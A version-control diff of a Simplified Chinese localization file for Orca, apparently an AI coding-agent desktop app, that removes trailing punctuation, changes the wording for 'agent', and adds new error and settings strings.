-        "unsupported": "不支持的文件类型。"
+        "missing": "该文件已不在原始路径",
+        "symlink": "无法附加符号链接",
+        "permissionDenied": "没有访问权限",
+        "unsupported": "不支持的文件类型"
       },
       "dropTempCopyFailure": {
-        "changed": "Orca 复制时文件发生了变化。请重新拖放。",
-        "outOfSpace": "磁盘空间不足，无法复制拖放的文件。",
-        "storageUnavailable": "Orca 无法为拖放的文件创建存储位置。",
-        "storageNotPrivate": "Orca 用于拖放文件的存储位置可被其他用户读取，因此未复制任何内容。",
-        "timedOut": "复制耗时过长。请重新拖放。",
-        "busy": "仍有太多拖放正在复制。请稍候再试。",
-        "tooLarge": "文件太大，无法复制，因此 Orca 无法将其交给智能体。",
-        "storageFull": "Orca 用于拖放文件的存储空间已满，因此 Orca 无法将其交给智能体。",
-        "generic": "请重新拖放。"
+        "changed": "Orca 复制时文件发生了变化，请重新拖放",
+        "outOfSpace": "磁盘空间不足，无法复制拖放的文件",
+        "storageUnavailable": "Orca 无法为拖放的文件创建存储位置",
+        "storageNotPrivate": "Orca 用于拖放文件的存储位置可被其他用户读取，因此未复制任何内容",
+        "timedOut": "复制耗时过长，请重新拖放",
+        "busy": "仍有太多拖放正在复制，请稍候再试",
+        "tooLarge": "文件太大，无法复制，因此 Orca 无法将其交给代理",
+        "storageFull": "Orca 用于拖放文件的存储空间已满，因此 Orca 无法将其交给代理",
+        "generic": "请重新拖放"
       },
       "reveal": {
         "in": {
           "file": {
             "manager": {
-              "notFound": "未找到文件。它可能已被移动或删除。",
-              "launchFailed": "无法显示该文件。"
+              "notFound": "未找到文件，它可能已被移动或删除",
+              "launchFailed": "无法显示该文件"
             }
           }
         }
       },
       "aiVaultResumeRefusal": {
-        "openInChat": "此 {{value0}} 会话已在聊天中打开。请刷新会话历史以打开它。",
-        "ownershipUnknown": "Orca 无法确认此 {{value0}} 会话的归属。请刷新会话历史并重试。",
-        "preparationRefused": "Orca 无法准备此 {{value0}} 对话。请开启新聊天继续。"
+        "openInChat": "此 {{value0}} 会话已在聊天中打开，请刷新会话历史以打开它",
+        "ownershipUnknown": "Orca 无法确认此 {{value0}} 会话的归属，请刷新会话历史并重试",
+        "preparationRefused": "Orca 无法准备此 {{value0}} 对话。请开启新聊天继续"
       },
       "composerCreateHandoff": {
         "reopen": "重新打开",
-        "preparationTimedOut": "工作树准备超时。",
-        "needsInput": "需要更多输入，因此未创建工作树。"
+        "preparationTimedOut": "工作树准备超时",
+        "needsInput": "需要更多输入，因此未创建工作树"
       },
       "pendingWorktreeCreation": {
         "checkingOutFiles": "正在检出文件… {{percent}}%",
@@ -1407,62 +1494,212 @@
         "fetchingBaseBranch": "正在获取基础分支…"
       },
       "duplicatePairedServers": {
-        "ambiguousSameServer": "{{value0}} 和 {{value1}} 是同一台服务器被配对了两次。请在“设置 > 远程 Orca 服务器”中移除其中一个。"
+        "ambiguousSameServer": "{{value0}} 和 {{value1}} 是同一台服务器被配对了两次，请在“设置 > 远程 Orca 服务器”中移除其中一个"
       },
       "bundled": {
         "skill": {
           "install": {
             "error": {
               "message": {
-                "homeUnavailable": "Orca 找不到用于安装技能的主文件夹。",
-                "wslUnavailable": "此设备上没有可用的 WSL，因此 Orca 无法在其中安装技能。",
-                "environmentMismatch": "此设备无法将技能安装到 WSL 中。",
-                "wslDetectionFailed": "Orca 无法检查 WSL 中安装了哪些智能体。请确认该发行版可以启动，然后重试。",
-                "unknown": "Orca 无法安装技能。"
+                "homeUnavailable": "Orca 找不到用于安装技能的主文件夹",
+                "wslUnavailable": "此设备上没有可用的 WSL，因此 Orca 无法在其中安装技能",
+                "environmentMismatch": "此设备无法将技能安装到 WSL 中",
+                "wslDetectionFailed": "Orca 无法检查 WSL 中安装了哪些智能体。请确认该发行版可以启动，然后重试",
+                "unknown": "Orca 无法安装技能"
               }
             }
           }
         }
       },
       "claudeAgentRowView": {
-        "subagentNavigationSetup": "请在“设置 → 智能体”中启用 Claude 子智能体导航，然后在 Orca 中启动 Claude 2.1.300+。检查 keybindings.json 是否仍将 Ctrl+Alt+G、H 或 V 绑定到 command:orca-agent-view。",
-        "permissionPrompt": "请先回应 Claude 的权限提示，再切换智能体。"
+        "subagentNavigationSetup": "请在“设置 → 智能体”中启用 Claude 子智能体导航，然后在 Orca 中启动 Claude 2.1.300+。检查 keybindings.json 是否仍将 Ctrl+Alt+G、H 或 V 绑定到 command:orca-agent-view",
+        "permissionPrompt": "请先回应 Claude 的权限提示，再切换智能体"
       },
       "wslHostWindowsDriveRefusal": {
         "addOnThisComputer": "在此计算机上添加",
         "title": "在此计算机上添加 Windows 驱动器上的文件夹",
-        "descriptionWithPath": "{{value0}} 位于 Windows 驱动器上。在该位置，WSL 中的 Git 会误报行尾更改、无法察觉从 Windows 中进行的编辑，而且搜索速度很慢。",
-        "description": "此文件夹位于 Windows 驱动器上。在该位置，WSL 中的 Git 会误报行尾更改、无法察觉从 Windows 中进行的编辑，而且搜索速度很慢。"
+        "descriptionWithPath": "{{value0}} 位于 Windows 驱动器上。在该位置，WSL 中的 Git 会误报行尾更改、无法察觉从 Windows 中进行的编辑，而且搜索速度很慢",
+        "description": "此文件夹位于 Windows 驱动器上。在该位置，WSL 中的 Git 会误报行尾更改、无法察觉从 Windows 中进行的编辑，而且搜索速度很慢"
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "注册 {{path}} 以从 WSL 使用 Orca",
+          "registerForTerminal": "注册 {{path}} 以从终端使用 Orca",
+          "registerForWindowsShell": "注册 {{path}} 以从命令提示符或 PowerShell 使用 Orca",
+          "devLauncherOnly": "开发模式仅使用生成的启动器进行验证",
+          "differentLauncher": "{{path}} 指向其他启动器",
+          "launcherMissing": "此 Orca 构建缺少捆绑的 CLI 启动器",
+          "noWslDistro": "没有可用的 WSL 发行版",
+          "notOrcaLauncherScript": "{{path}} 已存在，但不是 Orca 启动器脚本",
+          "notOrcaSymlink": "{{path}} 已存在，但不是 Orca 符号链接",
+          "olderLauncher": "{{path}} 包含旧版 Orca 启动器",
+          "platformUnsupported": "此平台尚未实现 CLI 注册",
+          "readlinkPermissionDenied": "Orca 没有权限检查 {{path}}，请检查该路径及其父目录的权限，然后重试",
+          "registeredAt": "已注册到 {{path}}",
+          "registeredInDistroAt": "已在 {{distro}} 中注册到 {{path}}",
+          "registrationUnavailable": "此构建版本不支持 CLI 注册",
+          "unreadableSymlink": "无法读取 {{path}}，请重新注册以修复",
+          "windowsLauncherMissing": "缺少 Windows 版 Orca CLI 启动器",
+          "windowsPathCheckFailed": "Orca 启动器已存在，但 Orca 无法检查你的 Windows 用户 PATH",
+          "windowsPathTimedOut": "Windows PATH 命令在 {{ms}} 毫秒后超时",
+          "wslCommandTimedOut": "WSL 命令在 {{ms}} 毫秒后超时",
+          "wslDistroUnreachable": "无法连接到 WSL 发行版，请重试",
+          "wslHomeUnresolved": "无法解析 WSL 主目录",
+          "wslInteropUnavailable": "WSL 的 Windows 互操作功能不可用，Orca 无法从 WSL 启动 Windows CLI",
+          "wslRegistrationUnavailable": "WSL CLI 注册不可用",
+          "wslWindowsOnly": "WSL CLI 注册仅适用于 Windows"
+        }
+      },
+      "emulator": {
+        "androidSdkNotFound": "未找到 Android SDK，请安装 Android Studio 并设置 ANDROID_HOME",
+        "xcodeSimulatorToolsUnavailable": "Xcode 模拟器工具不可用，请安装完整的 Xcode，打开一次，然后运行 `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer` 选择它"
+      },
+      "rateLimits": {
+        "errors": {
+          "chatgptAuthRequired": "需要 ChatGPT 认证才能读取速率限制",
+          "claudeKeychainUnavailable": "无法读取 Claude Keychain 凭据",
+          "claudeOauthTokenUnavailable": "Claude OAuth 访问令牌不可用",
+          "claudePlanUsageUnavailable": "此 Claude CLI 会话无法获取套餐用量",
+          "claudeRateLimited": "Claude 用量当前已达速率限制",
+          "claudeUsageUnavailable": "Claude 用量当前不可用",
+          "claudeWaitingCredentialRotate": "Claude 用量刷新正在等待实时 Claude 终端轮换凭据",
+          "cliExitedBeforeStatus": "CLI 在状态可用前退出",
+          "cliExitedBeforeUsage": "CLI 在 /usage 渲染前退出",
+          "codexCliCannotRun": "已找到 Codex CLI 但无法运行 — Node.js 可能不在 PATH 中",
+          "codexCliNotFound": "未找到 Codex CLI",
+          "codexHomeUnavailable": "Codex 主目录不可用",
+          "codexNotSignedIn": "Codex 未登录",
+          "codexRebuildingIndex": "Codex 正在重建会话索引，恢复完成后将刷新用量",
+          "codexResetFailedHttp": "Codex 重置失败：HTTP {{status}}",
+          "codexResetIdempotencyRequired": "需要 Codex 重置幂等键",
+          "codexResetUnknownOutcome": "未知 Codex 重置结果",
+          "codexSignInCheckTimeout": "检查 Codex 登录状态超时",
+          "codexSignInStatusUnavailable": "Codex 登录状态不可用",
+          "couldNotParseUsageAnyWorkspace": "无法从任何可用工作区解析用量数据",
+          "couldNotParseUsagePage": "无法从页面解析用量数据",
+          "failedToLoadUsage": "无法加载用量数据",
+          "failedToParseCliOutput": "解析 CLI 输出失败",
+          "fetchAborted": "速率限制获取已中止",
+          "geminiCredentialsNotFound": "未找到 Gemini CLI 凭据",
+          "geminiOauthDisabled": "设置中已禁用 Gemini CLI OAuth",
+          "geminiProjectIdLoadFailed": "加载 Gemini 项目 ID 失败 (HTTP {{status}})",
+          "geminiProjectIdMissingInResponse": "API 响应中未找到 Gemini 项目 ID",
+          "geminiProjectIdNotFound": "未找到 Gemini 项目 ID",
+          "grokAuthInvalid": "Grok 认证文件无效",
+          "grokAuthUnreadable": "无法读取 Grok 认证文件",
+          "grokBillingConfigMissing": "Grok 账单响应未包含配置",
+          "grokBillingUsageMissing": "Grok 账单响应未包含额度用量",
+          "grokNotSignedIn": "未登录 Grok — 请运行 grok login",
+          "grokSignInExpired": "Grok 登录已过期 — 请在运行 Orca 的电脑上运行 grok，如有提示请完成登录，无需发送聊天消息",
+          "grokUsageFailedHttp": "Grok 用量请求失败 (HTTP {{status}})",
+          "grokUsageRequestFailed": "Grok 用量请求失败",
+          "grokUsageUnauthorizedHttp": "Grok 用量请求未授权 (HTTP {{status}})",
+          "kimiCredentialsInvalid": "Kimi 凭据文件无效",
+          "kimiCredentialsMissingToken": "Kimi 凭据文件缺少访问令牌",
+          "kimiCredentialsUnreadable": "无法读取 Kimi 凭据",
+          "kimiNotSignedIn": "未登录 Kimi Code",
+          "kimiQuotaWindowsMissing": "Kimi 用量响应未包含配额窗口",
+          "kimiSessionExpired": "Kimi 会话已过期 — 请在 {{where}} 运行 kimi，然后重试用量",
+          "kimiUsageFailedHttp": "Kimi 用量请求失败 (HTTP {{status}})",
+          "kimiUsageRequestFailed": "Kimi 用量请求失败",
+          "kimiUsageUnauthorizedHttp": "Kimi 用量请求未授权 (HTTP {{status}})",
+          "minimaxAuthCookieMissing": "未找到 MiniMax 认证 Cookie — 请粘贴包含 _token 的 Cookie 请求头",
+          "minimaxCookieDecryptFailed": "无法解密 MiniMax 会话 Cookie",
+          "minimaxCookieNotConfigured": "未配置 MiniMax 会话 Cookie",
+          "minimaxInvalidUsageResponse": "MiniMax 用量响应无效",
+          "minimaxModelUsageMissing": "未找到所选模型的 MiniMax 用量数据",
+          "minimaxReturnedError": "MiniMax 返回错误",
+          "minimaxSessionExpired": "MiniMax 会话已过期，请在设置中更换 MiniMax Cookie",
+          "minimaxUnknownUsageError": "未知 MiniMax 用量错误",
+          "minimaxUsageFetchFailed": "MiniMax 用量获取失败 ({{status}})",
+          "noCredentials": "无凭据",
+          "noSubscriptionApiKeyBilling": "无订阅套餐 — API key 计费",
+          "opencodeInvalidWorkspaceId": "工作区 ID 格式无效",
+          "opencodeNoAuthCookie": "未找到认证 Cookie — 请从 opencode.ai DevTools 粘贴完整 Cookie 请求头",
+          "opencodeNoWorkspaceId": "未找到工作区 ID — 请在设置中填写工作区 ID 覆盖",
+          "opencodeNoWorkspaceIdShort": "未找到工作区 ID",
+          "ptyTimeout": "PTY 超时",
+          "ptyUsageTimeout": "PTY 超时 — /usage 面板未渲染",
+          "quotaFetchFailed": "配额获取失败 ({{status}})",
+          "rpcFailed": "RPC 失败",
+          "rpcProcessExited": "RPC 进程意外退出",
+          "rpcTimeout": "RPC 超时",
+          "sessionCookieNotConfigured": "未配置会话 Cookie",
+          "signInWithChatgpt": "请使用 ChatGPT 登录",
+          "tokenRefreshFailed": "Token 刷新失败",
+          "unknown": "未知错误",
+          "usagePageFetchFailed": "用量页面获取失败 ({{status}})",
+          "waitingForClaudeSession": "正在等待 Claude 会话",
+          "workspacesFetchFailed": "工作区列表获取失败 ({{status}})",
+          "wslClaudeConfigUnavailable": "WSL Claude 配置不可用({{distro}})",
+          "wslCodexHomeUnavailable": "WSL Codex 主目录不可用({{distro}})",
+          "wslKimiHomeUnavailable": "WSL Kimi 主目录不可用({{distro}})"
+        }
+      },
+      "ephemeralVm": {
+        "provisionedRootNeedsUpdate": "此虚拟机上的 Orca 服务器无法接管预置的根目录，请更新虚拟机上的 Orca"
+      },
+      "executionHostFacts": {
+        "sshPlatformWithheld": "SSH 主机尚未报告其操作系统，请连接后重试",
+        "runtimePlatformWithheld": "Orca 服务器尚未报告其操作系统，请重新连接后重试",
+        "runtimePlatformUpdate": "此 Orca 服务器不报告其操作系统，请更新服务器以在其上启动代理",
+        "hostUnresolvedWithheld": "Orca 暂时无法判断此工作区属于哪个主机"
+      },
+      "fileOwnerRuntimeTarget": {
+        "unresolved": "无法确认此文件所属的主机，请重新打开文件后重试"
+      },
+      "nativeChatCliFork": {
+        "sourceChanged": "准备期间源聊天已发生变化",
+        "hostUnavailable": "对话所在的主机不可用",
+        "preparationTimedOut": "对话准备超时",
+        "noSavedConversation": "此聊天没有可复制的已保存对话"
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "尚未设置项目位置"
+      },
+      "updateCheckClickOptions": {
+        "releaseHint": "{{rcKey}}+ 点击检查最新候选发布版(RC)，{{perfKey}}+ 点击检查最新性能测试构建",
+        "localMacBuildHint": "⌥+点击选择本地 macOS 构建"
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "请更新服务器以查看其 SSH 主机上的端口",
+        "hostMismatch": "服务器扫描的主机与此工作区运行的主机不同"
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "按住 {{shortcut}} 并点击以在系统浏览器中打开",
+        "tooltip": "{{label}}。{{hint}}"
       }
     },
     "hooks": {
       "useComposerState": {
-        "b2ead86962": "无法解析 PR 基础引用。",
-        "3db83fc58a": "没有可用于附件的远程项目路径。",
-        "ba6cb77082": "无法连接到项目。",
-        "chooseOrAddProjectBeforeWorkspace": "创建工作区前，请选择或添加项目。",
+        "b2ead86962": "无法解析 PR 基础引用",
+        "3db83fc58a": "没有可用于附件的远程项目路径",
+        "ba6cb77082": "无法连接到项目",
+        "chooseOrAddProjectBeforeWorkspace": "创建工作区前，请选择或添加项目",
         "folderWorkspaceCreateFailedTitle": "文件夹工作区创建失败",
-        "folderWorkspaceCreateFailedMessage": "无法创建文件夹工作区。请查看上方错误详情，然后重试。",
+        "folderWorkspaceCreateFailedMessage": "无法创建文件夹工作区，请查看上方错误详情，然后重试",
         "setupAgentStartupPolicySaveFailed": "保存设置启动行为失败",
         "5f3d2c8a1b": "解析 MR 基础分支失败",
-        "dropPartiallyAttached_one": "无法附加 {{count}} 项目的 {{failureCount}}。",
-        "dropPartiallyAttached_other": "无法附加 {{count}} 项中的 {{failureCount}} 项。"
+        "dropPartiallyAttached_one": "{{count}} 个项目中有 {{failureCount}} 个无法附加",
+        "dropPartiallyAttached_other": "{{count}} 个项目中有 {{failureCount}} 个无法附加",
+        "dropPartiallyAttached": "{{count}} 个项目中有 {{failureCount}} 个无法附加"
       },
       "useGlobalFileDrop": {
-        "38c9f034ff": "无法上传删除的文件。",
-        "d720e2f855": "部分已删除的文件无法上传。",
-        "245faa95b9": "没有可用于放置的文件的远程工作区路径。",
-        "nativeDropTooManyPathsDescription": "每次最多拖放 {{value0}} 个文件。",
-        "nativeDropTooManyPaths": "拖放包含过多文件。",
-        "nativeDropPathsTooLargeDescription": "请减少文件数量或使用更短的路径列表。",
-        "nativeDropPathsTooLarge": "拖放的路径列表过大。",
-        "ownerChanged": "无法确认哪个主机拥有此工作区。请在它重新连接后重试。",
-        "hostMismatch": "此编辑器位于另一台主机上。请从文件的源工作区打开它。",
-        "workspaceOpenFailed": "无法打开 {{fileName}}。请从其源工作区打开后重试。",
-        "nativeDropUnresolvedPathsDescription": "首先将它们保存到磁盘，然后删除保存的文件。",
-        "nativeDropUnresolvedPaths": "Orca 无法读取已删除文件的路径。",
-        "nativeDropTempCopyFailed_one": "Orca 无法复制 {{count}} 个拖放的文件。",
-        "nativeDropTempCopyFailed_other": "Orca 无法复制 {{count}} 个拖放的文件。"
+        "38c9f034ff": "无法上传删除的文件",
+        "d720e2f855": "部分已删除的文件无法上传",
+        "245faa95b9": "没有可用于放置的文件的远程工作区路径",
+        "nativeDropTooManyPathsDescription": "每次最多拖放 {{value0}} 个文件",
+        "nativeDropTooManyPaths": "拖放包含过多文件",
+        "nativeDropPathsTooLargeDescription": "请减少文件数量或使用更短的路径列表",
+        "nativeDropPathsTooLarge": "拖放的路径列表过大",
+        "ownerChanged": "无法确认哪个主机拥有此工作区，请在它重新连接后重试，",
+        "hostMismatch": "此编辑器位于另一台主机上。请从文件的源工作区打开它",
+        "workspaceOpenFailed": "无法打开 {{fileName}}。请从其源工作区打开后重试",
+        "nativeDropUnresolvedPathsDescription": "请先将文件保存到磁盘，再拖放已保存的文件",
+        "nativeDropUnresolvedPaths": "Orca 无法读取所拖放文件的路径",
+        "nativeDropTempCopyFailed_one": "Orca 无法复制 {{count}} 个拖放的文件",
+        "nativeDropTempCopyFailed_other": "Orca 无法复制 {{count}} 个拖放的文件",
+        "nativeDropTempCopyFailed": "Orca 无法复制 {{count}} 个拖放的文件"
       },
       "useIpcEvents": {
         "0e3cf53060": "未找到浏览器选项卡 {{value0}}",
@@ -1471,74 +1708,74 @@
         "f000b2ff76": "没有活动的工作树",
         "7a64b31991": "当远程运行时处于活动状态时，本地终端创建不可用",
         "ef223fbb6b": "有设备尝试连接但未配对",
-        "11992d0337": "如果这是您的手机或其他 Orca 客户端，请从设置 → 移动端重新配对。",
+        "11992d0337": "如果这是您的手机或其他 Orca 客户端，请从设置 → 移动端重新配对",
         "6573cfe955": "打开移动端设置",
         "unresolvedTerminalWorktreeOwner": "由于无法解析工作树所有者，终端创建不可用"
       },
       "useSettingsNavigationMetadata": {
-        "4a728cd56b": "仍在完善中的新功能。尝试一下。",
+        "4a728cd56b": "仍在完善中的新功能，欢迎试用",
         "225071c560": "实验性",
-        "e338c507c1": "用于故障排除的低级兼容性设置。",
+        "e338c507c1": "排查问题用的底层兼容性设置",
         "580a04cd81": "高级",
-        "8400cfe1c1": "匿名使用数据和遥测控制。",
+        "8400cfe1c1": "匿名使用数据与遥测控制",
         "3618579df6": "隐私与遥测",
-        "65ec7d1968": "终端启动的开发者工具的 macOS 隐私访问。",
+        "65ec7d1968": "终端启动的开发者工具所需的 macOS 隐私权限",
         "d91ae31fbd": "macOS 权限",
-        "95a1886d94": "通过手机控制终端和智能体。",
+        "95a1886d94": "用手机控制终端和代理",
         "1cd25673df": "移动端",
-        "31e57d1c70": "通过 SSH 使用已有机器处理文件、终端、Git 和工作区。",
+        "31e57d1c70": "通过 SSH 在已有机器上处理文件、终端、Git 和工作区",
         "94a5afe910": "SSH 主机",
         "40d80bad8a": "测试版",
         "de0c2907a1": "远程 Orca 服务器",
-        "b351014180": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量。",
+        "b351014180": "Orca 统计，以及 Claude、Codex、OpenCode、Muse Token 分析和 Grok 订阅使用量",
         "d72a58b5b9": "统计和使用情况",
-        "dcd0d9b74f": "常见操作的键盘快捷键。",
+        "dcd0d9b74f": "常用操作的键盘快捷键",
         "94295ebfb3": "快捷键",
-        "7682607591": "针对智能体和终端事件的原生桌面通知。",
+        "7682607591": "代理与终端事件的桌面通知",
         "2eece16ad1": "通知",
-        "1f452cbd4c": "选择和编辑行为。",
+        "1f452cbd4c": "选择与编辑相关行为",
         "0c6ee88a5f": "输入与编辑",
-        "b11a5a48a2": "主题、缩放、应用程序和终端外观、侧边栏和状态栏。",
+        "b11a5a48a2": "主题、缩放、应用与终端外观，以及侧边栏和状态栏",
         "93d88d20bf": "外观",
-        "2d0659f6f0": "全局终端、浏览器和 Markdown 选项卡。",
+        "2d0659f6f0": "全局终端、浏览器和 Markdown 标签页",
         "65b19f5bde": "浮动工作区",
-        "3d65d3f1b9": "配置对 Orca 和编码智能体的手机模拟器支持。",
+        "3d65d3f1b9": "为 Orca 与编码代理配置手机模拟器",
         "1e761cff2b": "手机模拟器",
-        "e815fd01bd": "主页、链接路由和会话 cookie。",
+        "e815fd01bd": "主页、链接路由和会话 Cookie",
         "8c197f74a1": "浏览器",
-        "42ae40842f": "保存的终端命令，范围全局或每个项目。",
+        "42ae40842f": "已保存的终端命令，可全局或按项目",
         "3fc3db144f": "快捷命令",
-        "c33bfd664c": "Shell、渲染器、会话和终端行为。",
+        "c33bfd664c": "Shell、渲染器、会话和终端行为",
         "a9fb10afca": "终端",
         "85f4fd7710": "任务来源",
-        "ab4b21b58e": "分支命名、基础引用和 Git AI Author。",
+        "ab4b21b58e": "分支命名、基础引用和 Git AI Author",
         "09607cb0fe": "Git 和源代码控制",
-        "33a5e1d597": "连接 GitHub、GitLab、Linear 和源托管服务。",
+        "33a5e1d597": "连接 GitHub、GitLab、Linear 和代码托管服务",
         "2b043783ef": "集成",
-        "2cd4ea75da": "工作区默认值、应用程序设置和维护。",
+        "2cd4ea75da": "工作区默认值、应用设置与维护",
         "13241992bd": "通用",
         "724c440e72": "入门",
         "0505d0df29": "开始使用 Orca",
         "ea0b1bc7b8": "设置指南",
-        "17005c73d4": "打开入门清单以了解设置和里程碑步骤。",
+        "17005c73d4": "打开入门清单，查看设置与里程碑",
         "ded9e9032f": "入门清单",
-        "5f32ac08f3": "完成 Orca 核心工作流程的入门清单。",
-        "8ac3de82f5": "使用设备端模型进行本地语音转文字听写。",
+        "5f32ac08f3": "完成 Orca 核心工作流的入门清单",
+        "8ac3de82f5": "设备端模型本地语音转文字",
         "6a50cdcd7c": "语音",
-        "0059bd17f3": "使智能体能够控制您计算机上的任何应用程序。",
+        "0059bd17f3": "让代理控制本机应用",
         "b35e92364b": "计算机控制",
-        "cd50cec5d7": "通过 Orca 协调多个编码智能体。",
+        "cd50cec5d7": "通过 Orca 协调多个编码代理",
         "58a868e8e4": "编排",
         "7c79d3b7bf": "可选",
-        "b1c2f8b0ac": "Claude、Codex、Gemini、OpenCode Go、MiniMax 和 Grok 的可选账户切换与使用量设置。",
+        "b1c2f8b0ac": "Claude、Codex、Gemini、OpenCode Go、MiniMax、Grok 的账户切换与用量",
         "f70ac54d38": "AI 提供商账户",
-        "4121f7a0a2": "管理 AI 智能体、设置默认值并自定义命令。",
-        "b49abbd2f7": "智能体",
+        "4121f7a0a2": "管理代理、默认项与命令",
+        "b49abbd2f7": "代理",
         "dev": "开发工具",
-        "devDescription": "仅用于调试 UI 状态的开发工具。",
-        "devBadge": "Dev",
+        "devDescription": "仅用于调试 UI 状态",
+        "devBadge": "开发",
         "devSearchNotificationPlayground": "通知测试面板",
-        "devSearchNotificationPlaygroundDescription": "触发有代表性的 toast 和通知 UI 状态。",
+        "devSearchNotificationPlaygroundDescription": "触发代表性 toast 与通知状态",
         "devSearchKeywordDev": "dev",
         "devSearchKeywordToast": "toast",
         "devSearchKeywordSonner": "sonner",
@@ -1546,60 +1783,65 @@
         "devSearchKeywordNotification": "notification",
         "projectHostsSummary": "{{value0}} 个主机",
         "linearTitle": "Linear",
-        "linearDescription": "Linear 在 Orca 中的工作方式、设置清单、智能体技能和提示词示例。",
+        "linearDescription": "Linear 在 Orca 中的用法、设置清单、技能与提示示例",
         "pluginsTitle": "插件",
-        "pluginsDescription": "安装和管理 Orca 插件（Alpha 版）。",
-        "tasksDescription": "连接提供商、安装 Linear 技能并选择要在任务中显示的内容。",
-        "artifactsTitle": "工件",
-        "artifactsDescription": "与您的团队共享 HTML 和 Markdown 文件并管理他们的公共链接。",
+        "pluginsDescription": "安装和管理 Orca 插件（Alpha 版）",
+        "tasksDescription": "连接提供商、安装 Linear 技能，并选择任务中显示的内容",
+        "artifactsTitle": "产物",
+        "artifactsDescription": "与团队分享 HTML 和 Markdown 文件，并管理其公开链接",
         "automationsTitle": "自动化",
-        "automationsDescription": "安排智能体工作并选择自动化是否显示在侧栏中。",
+        "automationsDescription": "安排代理工作，并控制侧边栏是否显示自动化",
         "shareSkillsTitle": "分享技能",
-        "shareSkillsDescription": "通过未列出的链接分享您的技能。任何拥有它的人都可以安装它们。",
-        "floatingWorkspaceWebDescription": "全局终端和 Markdown 选项卡。"
+        "shareSkillsDescription": "通过非公开链接分享技能，任何拥有链接的人都可以安装",
+        "floatingWorkspaceWebDescription": "全局终端和 Markdown 选项卡"
       },
       "useAppMenuPaste": {
-        "pasteTooLarge": "粘贴内容过大。"
+        "pasteTooLarge": "粘贴内容过大"
       },
       "useLargeTextControlPaste": {
-        "pasteTooLarge": "粘贴内容过大。"
+        "pasteTooLarge": "粘贴内容过大"
       },
       "useMacosTccPromptNotice": {
-        "title": "看到“Orca 想要访问…”提示？",
-        "description": "当 Orca 中运行的智能体或终端工具尝试访问受保护的文件时，macOS 可能会显示权限信息。请在“设置”中授予“完全磁盘访问权限”，以减少此类提示。",
+        "title": "看到\"Orca 想要访问…\"提示？",
+        "description": "当 Orca 中运行的代理或终端工具尝试访问受保护的文件时，macOS 可能会显示权限信息，请在\"设置\"中授予\"完全磁盘访问权限\"，以减少此类提示",
         "openSettings": "打开设置",
         "dismiss": "不再显示"
       },
       "useInstalledAgentSkills": {
-        "unreadableSkillSource": "技能文件夹没有响应，因此此状态可能不完整。"
+        "unreadableSkillSource": "某个技能文件夹没有响应，因此此状态可能不完整"
       },
       "useMacTccAttributionSeveredNotice": {
-        "title": "macOS 权限可能无法到达 Orca 终端",
-        "description": "正在运行的 Orca 终端由先前 Orca 安装启动的守护程序托管。 macOS 可能不会对它们应用 Orca 的辅助功能、自动化或受保护文件权限。从“管理会话”重新启动守护程序以恢复访问。这将关闭所有正在运行的 Orca 终端。",
+        "title": "macOS 权限可能无法传递到 Orca 终端",
+        "description": "正在运行的 Orca 终端由先前安装的 Orca 启动的守护进程托管，macOS 可能不会将 Orca 的辅助功能、自动化或受保护文件权限应用到它们，从管理会话重启守护进程以恢复访问权限，这将关闭所有正在运行的 Orca 终端",
         "openManageSessions": "打开管理会话",
         "dismiss": "关闭",
-        "folderAccessTitle": "终端无法读取您的 {{folder}}",
-        "folderAccessDescription": "macOS 正在阻止 Orca 的终端服务从此文件夹中运行，因此在修复该问题之前，在此运行的命令可能会失败。",
+        "folderAccessTitle": "终端无法读取你的{{folder}}",
+        "folderAccessDescription": "macOS 正在阻止 Orca 的终端服务访问此文件夹，修复前，在这里运行的命令可能会失败",
         "folderAccessFix": "修复"
       },
       "ipcEvents": {
         "sshManagedServer": {
-          "refusedBlocked": "无法在此 SSH 主机上设置 Orca。设置中的“SSH 主机”会显示原因。"
+          "refusedBlocked": "无法在此 SSH 主机上设置 Orca，设置中的“SSH 主机”会显示原因"
+        }
+      },
+      "composerState": {
+        "runtimeTargetSelection": {
+          "selectProjectFirst": "请先选择一个项目"
         }
       }
     },
     "components": {
       "hostPicker": {
         "searchHosts": "搜索主机…",
-        "noHostsMatch": "没有匹配的主机。",
-        "moreHosts_one": "还有 {{count}} 个主机，请按名称搜索。",
-        "moreHosts_other": "还有 {{count}} 个主机，请按名称搜索。"
+        "noHostsMatch": "没有匹配的主机",
+        "moreHosts_one": "还有 {{count}} 个主机，请按名称搜索",
+        "moreHosts_other": "还有 {{count}} 个主机，请按名称搜索"
       },
       "CodexRestartChip": {
         "c72a5fb234": "重新启动",
         "a4c8e1b2f7": "Codex 仍以 {{value0}} 身份登录",
         "d3e8a1f4b2": "账户已切换",
-        "9375620cc3": "重启此会话以使用 {{value0}}。在重启之前，它将继续使用旧账户。",
+        "9375620cc3": "重启此会话以使用 {{value0}}，在重启之前，它将继续使用旧账户",
         "6133594b12": "保留旧账户"
       },
       "FirstLaunchBanner": {
@@ -1607,13 +1849,13 @@
         "94cc673726": "知道了",
         "fc5cc29955": "退出",
         "d1deebb050": "隐私政策",
-        "958d2cc31b": "您使用的功能的匿名计数有助于我们确定要构建的内容的优先级。没有文件内容、提示、终端输出或任何可以识别您身份的内容。随时在“设置”->“隐私和遥测”中进行更改。",
+        "958d2cc31b": "您使用的功能的匿名计数有助于我们确定要构建的内容的优先级，没有文件内容、提示、终端输出或任何可以识别您身份的内容，随时在\"设置\"->\"隐私和遥测\"中进行更改",
         "9784b4d7bc": "帮助我们决定下一步要构建什么",
         "fcbee32f08": "遥测通知"
       },
       "GitHubItemDialog": {
-        "3cd5ae5b7b": "没有更改任何文件。",
-        "filesUnavailable": "无法加载更改的文件。",
+        "3cd5ae5b7b": "没有更改任何文件",
+        "filesUnavailable": "无法加载更改的文件",
         "filesRetry": "重试",
         "999b5ad7d9": "文件",
         "4bd1f5b055": "检查项",
@@ -1626,11 +1868,11 @@
         "fe6ff12dc2": "更多议题工作区操作",
         "726db41722": "打开工作区",
         "84855fedd0": "打开议题所附的工作区",
-        "b7bf31b8de": "无法将查看的状态与 GitHub 同步。",
-        "c0253318d6": "无法同步此PR的查看状态。",
+        "b7bf31b8de": "无法将查看的状态与 GitHub 同步",
+        "c0253318d6": "无法同步此拉取请求的查看状态",
         "5fea151559": "复制 GitHub 链接失败",
